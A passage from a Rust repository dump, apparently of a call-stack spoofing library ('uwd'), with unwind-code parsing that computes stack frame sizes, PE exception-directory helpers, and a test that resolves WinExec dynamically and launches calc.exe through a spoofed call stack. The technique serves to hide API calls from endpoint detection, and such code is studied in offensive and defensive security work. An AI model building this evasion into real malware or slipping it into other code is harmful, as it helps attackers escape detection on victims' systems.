1000 | return None; 1001 | } 1002 | 1003 | total_stack += 8; 1004 | i += 1; 1005 | }, 1006 | 1007 | // Allocates small space in the stack. 1008 | // 1009 | // Example (OpInfo = 3): sub rsp, 0x20 ; Aloca 32 bytes (OpInfo + 1) * 8 1010 | // 1011 | // println!("[0x{:x?}] - UWOP_ALLOC_SMALL (0x{:x?})", unwind_op, (op_info + 1) * 8); 1012 | Ok(UWOP_ALLOC_SMALL) => { 1013 | total_stack += ((op_info + 1) * 8) as u32; 1014 | i += 1; 1015 | }, 1016 | 1017 | // Allocates large space on the stack. 1018 | // - OpInfo == 0: The next slot contains the /8 size of the allocation (maximum 512 KB - 8). 1019 | // - OpInfo == 1: The next two slots contain the full size of the allocation (up to 4 GB - 8). 1020 | // 1021 | // Example (OpInfo == 0): sub rsp, 0x100 ; Allocates 256 bytes 1022 | // Example (OpInfo == 1): sub rsp, 0x10000 ; Allocates 65536 bytes (two slots used) 1023 | // 1024 | // println!("[0x{:x?}] - UWOP_ALLOC_LARGE (Size: {:x?})", unwind_op, frame_offset); 1025 | Ok(UWOP_ALLOC_LARGE) => { 1026 | if (*unwind_code).Anonymous.OpInfo() == 0 { 1027 | // Case 1: OpInfo == 0 (Size in 1 slot, divided by 8) 1028 | // Multiplies by 8 to the actual value 1029 | 1030 | let frame_offset = ((*unwind_code.add(1)).FrameOffset) * 8; 1031 | total_stack += frame_offset as u32; 1032 | 1033 | // Consumes 2 slots (1 for the instruction, 1 for the size divided by 8) 1034 | i += 2 1035 | } else { 1036 | // Case 2: OpInfo == 1 (Size in 2 slots, 32 bits) 1037 | let frame_offset = *(unwind_code.add(1) as *mut u32); 1038 | total_stack += frame_offset; 1039 | 1040 | // Consumes 3 slots (1 for the instruction, 2 for the full size) 1041 | i += 3 1042 | } 1043 | }, 1044 | 1045 | // UWOP_SAVE_NONVOL: Saves the contents of a non-volatile register in a specific position on the stack. 1046 | // - Reg: Name of the saved register. 1047 | // - FrameOffset: Offset indicating where the value of the register is saved. 1048 | // 1049 | // Example: mov [rsp + 0x40], rsi ; Saves the contents of RSI in RSP + 0x40 1050 | // 1051 | // println!("[0x{:x?}] - UWOP_SAVE_NONVOL ({:?}, Offset: {:x?})", unwind_op, registers[op_info as usize], frame_offset * 8); 1052 | Ok(UWOP_SAVE_NONVOL) => { 1053 | if Registers::RSP == op_info { 1054 | return None; 1055 | } 1056 | 1057 | i += 2; 1058 | }, 1059 | 1060 | // Saves a non-volatile register to a stack address with a long offset. 1061 | // - Reg: Name of the saved register. 1062 | // - FrameOffset: Long offset indicating where the value of the register is saved. 1063 | // 1064 | // Example: mov [rsp + 0x1040], rsi ; Saves the contents of RSI in RSP + 0x1040. 1065 | // 1066 | // println!("[0x{:x?}] - UWOP_SAVE_NONVOL_BIG ({:?}, Offset: {:x?})", unwind_op, registers[unwind_op as usize], frame_offset); 1067 | Ok(UWOP_SAVE_NONVOL_BIG) => { 1068 | if Registers::RSP == op_info { 1069 | return None; 1070 | } 1071 | 1072 | i += 3; 1073 | }, 1074 | 1075 | // Saves the contents of a non-volatile XMM register on the stack. 1076 | // - Reg: Name of the saved XMM register. 1077 | // - FrameOffset: Offset indicating where the value of the register is saved. 1078 | // 1079 | // Example: movaps [rsp + 0x20], xmm6 ; Saves the contents of XMM6 in RSP + 0x20. 1080 | Ok(UWOP_SAVE_XMM128) => i += 2, 1081 | 1082 | // UWOP_SAVE_XMM128BIG: Saves the contents of a non-volatile XMM register to a stack address with a long offset. 1083 | // - Reg: Name of the saved XMM register. 1084 | // - FrameOffset: Long offset indicating where the value of the register is saved. 1085 | // 1086 | // Example: movaps [rsp + 0x1040], xmm6 ; Saves the contents of XMM6 in RSP + 0x1040. 1087 | Ok(UWOP_SAVE_XMM128BIG) => i += 3, 1088 | 1089 | // Ignoring 1090 | Ok(UWOP_SET_FPREG) => i += 1, 1091 | 1092 | // Reserved code, not currently used. 1093 | Ok(UWOP_EPILOG) | Ok(UWOP_SPARE_CODE) => i += 1, 1094 | 1095 | // Push a machine frame. This unwind code is used to record the effect of a hardware interrupt or exception. 1096 | Ok(UWOP_PUSH_MACH_FRAME) => { 1097 | total_stack += if op_info == 0 { 0x40 } else { 0x48 }; 1098 | i += 1 1099 | }, 1100 | _ => {} 1101 | } 1102 | } 1103 | 1104 | // If there is a chain unwind structure, it too must be processed 1105 | // recursively and included in the stack size calculation. 1106 | if (flag & UNW_FLAG_CHAININFO) != 0 { 1107 | let count = (*unwind_info).CountOfCodes as usize; 1108 | let index = if count & 1 == 1 { count + 1 } else { count }; 1109 | let runtime = unwind_code.add(index) as *const IMAGE_RUNTIME_FUNCTION; 1110 | if let Some(chained_stack) = Self::ignoring_set_fpreg(module, &*runtime) { 1111 | total_stack += chained_stack; 1112 | } else { 1113 | return None; 1114 | } 1115 | } 1116 | 1117 | Some(total_stack) 1118 | } 1119 | } 1120 | } 1121 | 1122 | /// Retrieves the address and size of the Exception Directory from a module. 1123 | /// 1124 | /// # Arguments 1125 | /// 1126 | /// * `module` - A pointer to the base address of the loaded module. 1127 | /// 1128 | /// # Returns 1129 | /// 1130 | /// * A tuple containing: 1131 | /// - Pointer to the `IMAGE_RUNTIME_FUNCTION` table. 1132 | /// - Size in bytes of the table. 1133 | fn get_exception_addr(module: *mut c_void) -> Option<(*mut IMAGE_RUNTIME_FUNCTION, u32)> { 1134 | let nt_header = get_nt_header(module)?; 1135 | let rva = unsafe { (*nt_header).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress }; 1136 | let size = unsafe { (*nt_header).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size }; 1137 | 1138 | return Some(((module as usize + rva as usize) as *mut IMAGE_RUNTIME_FUNCTION, size)); 1139 | } 1140 | 1141 | /// Retrieves the size in bytes of a function from its address within a loaded module. 1142 | /// 1143 | /// # Arguments 1144 | /// 1145 | /// * `module` - A pointer to the base address of the loaded module. 1146 | /// * `function` - A pointer to the function whose size should be calculated. 1147 | /// 1148 | /// # Returns 1149 | /// 1150 | /// * `Some(size)` — The size in bytes of the function, if found in the exception directory. 1151 | /// * `None` — If the function is not listed in the runtime function table. 1152 | fn get_function_size(module: *mut c_void, function: *mut c_void) -> Option { 1153 | let runtime = find_runtime_function(module, (function as usize - module as usize) as u32)?; 1154 | let start = module as u64 + runtime.BeginAddress as u64; 1155 | let end = module as u64 + runtime.EndAddress as u64; 1156 | Some(end - start) 1157 | } 1158 | 1159 | /// Finds a runtime function entry corresponding to a specific offset in a module. 1160 | /// 1161 | /// # Arguments 1162 | /// 1163 | /// * `module` - The base address of the module where the function resides. 1164 | /// * `offset` - The offset from the module base to the target function. 1165 | /// 1166 | /// # Returns 1167 | /// 1168 | /// * `Some(&IMAGE_RUNTIME_FUNCTION)` - if the function entry is found. 1169 | /// * `None` - if not found. 1170 | fn find_runtime_function(module: *mut c_void, offset: u32) -> Option<&'static IMAGE_RUNTIME_FUNCTION> { 1171 | let (runtime_table, size) = get_exception_addr(module)?; 1172 | let tables = unsafe { from_raw_parts(runtime_table, size as usize / size_of::()) }; 1173 | for runtime_function in tables.iter() { 1174 | if runtime_function.BeginAddress == offset { 1175 | return Some(runtime_function) 1176 | } 1177 | } 1178 | 1179 | None 1180 | } -------------------------------------------------------------------------------- /taplo.toml: -------------------------------------------------------------------------------- 1 | [formatting] 2 | crlf = true -------------------------------------------------------------------------------- /tests/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "tests" 3 | version = "0.1.0" 4 | edition = "2024" 5 | 6 | [dependencies] 7 | dinvk = "0.1.3" 8 | uwd = { path = "../../uwd" } -------------------------------------------------------------------------------- /tests/src/main.rs: -------------------------------------------------------------------------------- 1 | use dinvk::{GetModuleHandle, GetProcAddress}; 2 | use uwd::spoof; 3 | 4 | #[rustfmt::skip] 5 | fn main() -> Result<(), Box> { 6 | // Resolves addresses of the WinAPI functions to be used 7 | let kernel32 = GetModuleHandle("kernel32.dll", None); 8 | let win_exec = GetProcAddress(kernel32, "WinExec", None); 9 | 10 | // Execute command with `WinExec` 11 | let cmd = c"calc.exe"; 12 | 13 | // 0:000> x kernel32!WinExec 14 | // 0:000> bp "k ; g" 15 | for _ in 0..50 { 16 | spoof!(win_exec, cmd.as_ptr(), 1) 17 | .filter(|&ptr| !ptr.is_null()) 18 | .ok_or("WinExec Failed")?; 19 | } 20 | 21 | Ok(()) 22 | } 23 | --------------------------------------------------------------------------------